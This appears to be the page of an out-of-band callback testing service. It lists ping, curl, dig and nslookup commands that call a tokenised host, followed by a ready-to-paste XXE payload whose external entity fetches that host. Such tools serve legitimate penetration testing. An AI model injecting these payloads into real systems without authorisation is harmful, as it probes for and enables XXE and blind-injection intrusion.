$ ping -c1 -p 00f42d2e56ca740148c158f6558aa300 unhack.ca
 
$ curl http://unhack.ca/p/f42d2e56ca740148c158f6558aa3
 
$ dig f42d2e56ca740148c158f6558aa3 @unhack.ca
 
$ dig f42d2e56ca740148c158f6558aa3.ns.unhack.ca
 
C:\> nslookup f42d2e56ca740148c158f6558aa3 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f42d2e56ca740148c158f6558aa3">]>
    <foo>&xxe;</foo>
 
Waiting for ping...